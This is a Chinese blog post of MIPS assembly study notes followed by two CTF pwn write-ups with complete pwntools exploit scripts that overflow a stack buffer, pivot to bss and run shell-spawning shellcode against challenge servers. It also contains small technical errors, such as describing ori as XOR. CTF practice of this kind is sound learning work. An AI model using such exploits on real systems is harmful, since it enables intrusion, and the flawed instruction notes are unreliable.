mips汇编学习

mips汇编学习

主要寄存器

$sp 表示栈顶

$a0-$a3 参数寄存器 ,用于存放参数(这4个寄存器存放前4个参数,超过4个就用栈去存)

image-20230517170207938

指令

addiu是对寄存器进行加法运算的指令(可以加上一个负数)并将结果存放到另一个寄存器中

格式:

addiu $d, $s, imm
上面这行代码的意思就是将$s中值加上imm放到$d中

addiu一般情况下用来开辟栈帧

addiu   $sp, -0x20
上面代码的意思就是将$sp寄存器的值减去0x20

sw作用是将寄存器中值放到内存中

格式

sw $s, offset($base)
大概意思就是将$s寄存器中值放到$base+offset处的内存中

一般和数组的赋值有关

sw      $ra, 0x18+var_s4($sp)
这个的意思就是将$ra寄存器中值放到$sp中值加0x18+var_s4处

move这个指令和x86中的mov一样就是将一个寄存器中的值复制到另一个寄存器中、

格式

move $d, $s
将$s中值赋值到$d中
move $t0, $s0    # 将 $s0 中的值复制到 $t0 中
move $s0, $zero  # 清空 $s0 的值,相当于 $s0 = 0  $zero一直为零

jal和x86中call类似作用就是跳转到一个子程序中(绝对寻址,范围256MB(2的26次方×4))

jal label
其中 label 是跳转目标地址的标签,它必须在程序中定义。这个指令将当前指令的地址加 8 存储到寄存器 $ra 中,然后跳转到 label 标签所在的地址开始执行子程序。

在子程序中,可以使用 jr $ra 指令返回到 jal 调用指令的下一条指令。例如,下面是一个简单的示例程序:
main:
    jal foo
    addi $s0, $s0, 1
    jr $ra

foo:
    addi $s0, $s0, 2
    jr $ra

baljal的区别就是它是相对寻址(范围128KB(2的16次方 ×4))相对寻址以程序计数器PC的当前值(R15中的值)为基地址

故jal主要用于函数调用和子程序的跳转

bal主要用于条件分支语句

当然,两者的使用场景并不是绝对固定的

ori用于执行异或操作

ori $d, $s, imm
就是将imm与$s中数值异或后的结果放到$d中

lw 用于从内存中加载一个字(32 位)到寄存器中。它的格式如下:

lw $t, offset($s)
大概意思就是从$s+offset处读取一个字(四个字节)到$t中

li并不是一个标准指令,是一个伪指令,作用是将一个立即数(32位)加载到一个寄存器中

li $t, imm
就是将imm放到$t中
通常翻译为下面两条指令(之所以这样是因为在mips中的立即数是16位的)
lui $t0, hi(imm)    # 将 16 位的立即数 0 加载到 $t0 的高 16 位
ori $t0, $t0, lo(imm)   # 将 16 位的立即数 100 加载到 $t0 的低 16 位

la并不是一个标准的指令,而是一个伪指令,作用是将一个数据的地址加载到一个寄存器中

la $d, label    //label是一个标签或者是符号(它指向一个地址)

调试mips程序

直接调试

1、在一个终端 qemu-mipsel -g 12345 ./bomb

2、另起一个终端

gdb-multiarch ./bomb
(gdb) set arch mips
(gdb) set endian little
(gdb) target remote localhost:12345

当然也可以写一个mips.sh脚本,做法就是先用

在一个终端 qemu-mipsel -g 12345 ./bomb

在另一个一个终端中依次输入 gdb-multiarch ,source mips.sh

set architecture mips
set endian little  
symbol-file ./pwn2
target remote localhost:12345

使用pwntools调试

就是在python脚本中加一个

p=process(["qemu-mipsel","./pwn2"]) #直接本地打没有调试

p=remote("node4.buuoj.cn",28638) #远程

p=process(["qemu-mipsel", "-g", "1234","./pwn2"]) #本地打加调试

使用顺序就是 先用python脚本 在另起一个终端依次输入 gdb-multiarch , source mips.sh

题目

axb_2019_mips

不知道为啥用checksec看不到保护

在调试时可能遇见未找到库的报错,一般是找不到路径,手动添加一个软连接就行

qemu-mipsel: Could not open '/lib/ld-uClibc.so.0': No such file or directory

流程

1、找到库位置

sudo ln -s /home/zikh/Desktop/mipsel-linux-uclibc/lib/ld-uClibc.so.0 /lib/

2、创建链接

sudo ln -s /home/zikh/Desktop/mipsel-linux-uclibc/lib/ld-uClibc.so.0 /lib/

题目分析

main函数

就有一个可以利用%s泄露地址,当时本地可以泄露处stack地址,远程确实一个程序地址(因此不可以打一个栈上的shellcode)

image-20230517170226870

vuln函数

image-20230517170242953

第一次做mips架构的题有点不太熟悉,但还是还好,因为有x86的经验

大概思路就是利用溢出控制返回地址为此处,因为可以此时会将距离v1数组0x38处的值赋给$v0,进而控制read的第二个参数,再打一个栈迁移执行一下shellcode就行了

image-20230517170257364

exp

from tools import *
context(arch='mips', os='linux', endian='little', word_size=32,log_level='debug')
# p=process(["qemu-mipsel","./pwn2"])
p=remote("node4.buuoj.cn",28638)
# p=process(["qemu-mipsel", "-g", "1234","./pwn2"])
offset=0x14
bss=0x410ba0
payload=p32(0x410B79)

p.sendafter("What's your name: \n",payload)
sleep(1)

shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
payload=b"b"*0x20+p32(bss)+p32(0x4007E4)
pause()     
p.send(payload)
pause()
payload=b"a"*0x24+p32(0x410be0)+shellcode
p.send(payload)
p.interactive()            

ycb_2020_mipspwn

题目分析

和上面的一样,只不过这次用的是手写shellcode

exp

from tools import *
context(arch='mips',os='linux',endian='little',word_size=32,log_level='debug')
#p=process(["qemu-mipsel","./pwn2"])
#p=process(["qemu-mipsel","-g","1234","./pwn2"])
p=remote('node4.buuoj.cn',25765)
bss=0x4115F0
p.sendlineafter('Warrior,leave your name here:\n','trunk')
p.sendlineafter('Your choice: ',str(7))
payload=b'a'*0x38+p32(bss)+p32(0x400F54)
p.sendlineafter('Write down your feeling:\n',payload)
pause()

shellcode=shellcode_store('mips32_little_shell')
payload=shellcode.ljust(0x3c,b'\x00')+p32(bss+0x18)
p.send(payload)
p.interactive()

参考

https://zikh26.github.io/posts/919c29c4.html

posted @ 2023-05-17 17:07  何思泊河  阅读(220)  评论(0编辑  收藏  举报